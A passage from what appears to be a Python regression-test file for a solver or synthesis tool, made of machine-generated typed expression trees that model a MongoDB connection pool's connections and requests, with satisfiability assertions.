('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TList(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_dropped').with_type(TBool())))).with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))).with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('_var436').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EBinOp(EBinOp(EGetField(EVar('_var436').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_host').with_type(TNative('mongo::HostAndPort')), '==', EVar('p').with_type(TNative('mongo::HostAndPort'))).with_type(TBool()), 'and', EBinOp(EGetField(EVar('_var436').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_state').with_type(TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), '==', EEnumEntry('CHECKED_OUT').with_type(TEnum(('READY', 'PROCESSING', 'CHECKED_OUT')))).with_type(TBool())).with_type(TBool()))).with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('_var437').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EVar('_var437').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TList(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TBool())).with_type(TBool())).with_type(TBool()))).with_type(TList(TNative('mongo::HostAndPort'))), ELambda(EVar('p').with_type(TNative('mongo::HostAndPort')), ECall('after', (EArgMax(EMap(EMap(EFilter(EBinOp(EBinOp(EVar('conns').with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), '-', ESingleton(EUnaryOp('the', EMap(EFilter(EVar('conns').with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EBinOp(EGetField(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_iface').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), '==', EVar('i').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*'))).with_type(TBool()))).with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TList(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))).with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), '+', ESingleton(EMakeRecord((('conn_state', EEnumEntry('READY').with_type(TEnum(('READY', 'PROCESSING', 'CHECKED_OUT')))), ('conn_host', EGetField(EUnaryOp('the', EMap(EFilter(EVar('conns').with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EBinOp(EGetField(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_iface').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), '==', EVar('i').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*'))).with_type(TBool()))).with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TList(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_host').with_type(TNative('mongo::HostAndPort'))), ('conn_iface', EGetField(EUnaryOp('the', EMap(EFilter(EVar('conns').with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EBinOp(EGetField(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_iface').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), '==', EVar('i').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*'))).with_type(TBool()))).with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TList(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_iface').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*'))), ('conn_next_refresh', ECall('after', (EVar('lastUsed').with_type(TNative('mongo::Date_t')), EVar('refreshRequirement').with_type(TNative('mongo::Milliseconds')))).with_type(TNative('mongo::Date_t'))), ('conn_returned', EVar('now').with_type(TNative('mongo::Date_t'))), ('conn_last_used', EVar('retId').with_type(TInt())), ('conn_dropped', EGetField(EUnaryOp('the', EMap(EFilter(EVar('conns').with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EBinOp(EGetField(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_iface').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), '==', EVar('i').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*'))).with_type(TBool()))).with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TList(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_dropped').with_type(TBool())))).with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))).with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('_var438').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EBinOp(EBinOp(EGetField(EVar('_var438').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_host').with_type(TNative('mongo::HostAndPort')), '==', EVar('p').with_type(TNative('mongo::HostAndPort'))).with_type(TBool()), 'and', EBinOp(EGetField(EVar('_var438').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_state').with_type(TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), '!=', EEnumEntry('CHECKED_OUT').with_type(TEnum(('READY', 'PROCESSING', 'CHECKED_OUT')))).with_type(TBool())).with_type(TBool()))).with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('_var439').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EVar('_var439').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TList(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('_var440').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EGetField(EVar('_var440').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_returned').with_type(TNative('mongo::Date_t')))).with_type(TList(TNative('mongo::Date_t'))), ELambda(EVar('x').with_type(TNative('mongo::Date_t')), EVar('x').with_type(TNative('mongo::Date_t')))).with_type(TNative('mongo::Date_t')), EVar('hostTimeout').with_type(TNative('mongo::Milliseconds')))).with_type(TNative('mongo::Date_t')))).with_type(TList(TNative('mongo::Date_t')))).with_type(TList(TNative('mongo::Date_t')))).with_type(TList(TNative('mongo::Date_t')))).with_type(TInt()), '>', ENum(1).with_type(TInt())).with_type(TBool())).with_type(TBool())).with_type(TBool())
assert satisfiable(e, validate_model=True)
def test_regression30(self):
satisfy(EUnaryOp('not', EBinOp(EBool(True).with_type(TBool()), '=>', EBinOp(EBinOp(EUnaryOp('sum', EMap(EMap(EBinOp(EVar('reqs').with_type(TSet(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort')))))), '+', EVar('reqs').with_type(TSet(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort'))))))).with_type(TSet(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort')))))), ELambda(EVar('_var7757541').with_type(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort'))))), EVar('_var7757541').with_type(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort'))))))).with_type(TBag(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort')))))), ELambda(EVar('_var7765571').with_type(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort'))))), ENum(12).with_type(TInt()))).with_type(TBag(TInt()))).with_type(TInt()), '+', ENum(4).with_type(TInt())).with_type(TInt()), '>=', EBinOp(EUnaryOp('sum', EMap(EBinOp(EVar('reqs').with_type(TBag(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort')))))), '+', EVar('reqs').with_type(TBag(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort'))))))).with_type(TBag(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort')))))), ELambda(EVar('_var7765572').with_type(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort'))))), ENum(12).with_type(TInt()))).with_type(TBag(TInt()))).with_type(TInt()), '+', ENum(4).with_type(TInt())).with_type(TInt())).with_type(TBool())).with_type(TBool())).with_type(TBool()), vars=OrderedSet([EVar('conns').with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), EVar('i').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), EVar('retId').with_type(TInt()), EVar('reqs').with_type(TBag(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort')))))), EVar('_idleHosts').with_type(TBag(TRecord((('host_id', TNative('mongo::HostAndPort')), ('host_timeout', TNative('mongo::Date_t')))))), 